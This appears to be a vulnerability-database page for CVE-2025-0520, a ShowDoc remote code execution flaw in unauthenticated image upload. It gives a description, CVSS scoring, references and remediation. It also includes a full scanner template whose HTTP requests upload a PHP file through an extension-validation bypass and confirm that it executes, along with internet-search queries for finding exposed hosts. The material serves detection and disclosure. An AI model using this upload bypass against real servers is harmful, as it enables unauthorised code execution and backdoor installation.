/Vulnerability Library

ShowDoc - Remote Code Execution

CVE-2025-0520
Verified

Description

The open-source API documentation tool ShowDoc had a remote code execution vulnerability before version 2.8.7 This vulnerability allowed unauthenticated remote attackers to upload .php files because the image upload function was not authenticated and the file extension validation was improper.

Severity

Critical

CVSS Score

9.4

Exploit Probability

3%

Affected Product

showdoc

Published Date

August 13, 2026

Template Author

pikpikcu, co5mos, papbutfly

CVE-2025-0520.yaml
id: CVE-2025-0520

info:
  name: ShowDoc - Remote Code Execution
  author: pikpikcu,Co5mos,PapButfly
  severity: critical
  description: |
    The open-source API documentation tool ShowDoc had a remote code execution vulnerability before version 2.8.7 This vulnerability allowed unauthenticated remote attackers to upload .php files because the image upload function was not authenticated and the file extension validation was improper.
  impact: |
    The attacker does not need to go through login authentication to upload any php backdoor on the affected ShowDoc website and thereby gain server access.
  remediation: |
    Please update ShowDoc to version 2.8.7 or higher to fix this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-0520
    - https://www.cnvd.org.cn/flaw/show/CNVD-2020-26585
    - https://github.com/star7th/showdoc/pull/1059
    - https://github.com/vulhub/vulhub/tree/master/showdoc/CNVD-2020-26585
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L
    cve-id: CVE-2025-0520
    cwe-id: CWE-434
    cvss-score: 9.4
    epss-score: 0.02547
    epss-percentile: 0.83793
  metadata:
    verified: true
    vendor: star7th
    product: showdoc
    shodan-query: http.title:"ShowDoc"
    fofa-query: app="ShowDoc"
    hunter-query: web.title="ShowDoc"
    zoomeye-query: app:"ShowDoc"
  tags: showdoc,cve,cve2025,cnvd,cnvd2020,rce,fileupload,intrusive,star7th,vuln,vkev

variables:
  boundary_id: "{{rand_text_alphanumeric(16)}}"
  file_name: "{{rand_text_alphanumeric(4)}}"
  secret_str: "{{rand_base(12)}}"

http:
  - raw:
      - |
        POST /index.php?s=/home/page/uploadImg HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary_id}}

        ------WebKitFormBoundary{{boundary_id}}
        Content-Disposition: form-data; name="editormd-image-file"; filename="{{file_name}}.<>php"
        Content-Type: text/plain

        <?=md5("{{secret_str}}");?>
        ------WebKitFormBoundary{{boundary_id}}--

      - |
        GET {{upload_path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: raw_url
        part: body
        json:
          - ".url"
        internal: true

      - type: dsl
        name: upload_path
        dsl:
          - 'replace_regex(raw_url, "^https?://[^/]+", "")'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200"
          - "contains_all(body_1, 'url', '.php')"
          - 'contains(body_1, "Public/Uploads") || contains(body_1, "Public\\/Uploads")'
          - "contains(body_2, '{{md5(secret_str)}}')"
        condition: and
# digest: 490a0046304402207eecb5fc937a48a610a09300486828f4ef91aefa3a853ba999fb116f2e711fcc02205bb29e17c520106b3c17d0f1a265fc54894098a53034ed4492bac4b29be92223:922c64590222798bb761d5b6d8e72950
9.4Score

CVSS Metrics

CVSS Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L
CVE ID:
cve-2025-0520
CWE ID:
cwe-434

References

https://nvd.nist.gov/vuln/detail/CVE-2025-0520https://www.cnvd.org.cn/flaw/show/CNVD-2020-26585https://github.com/star7th/showdoc/pull/1059https://github.com/vulhub/vulhub/tree/master/showdoc/CNVD-2020-26585

Remediation Steps

Please update ShowDoc to version 2.8.7 or higher to fix this vulnerability.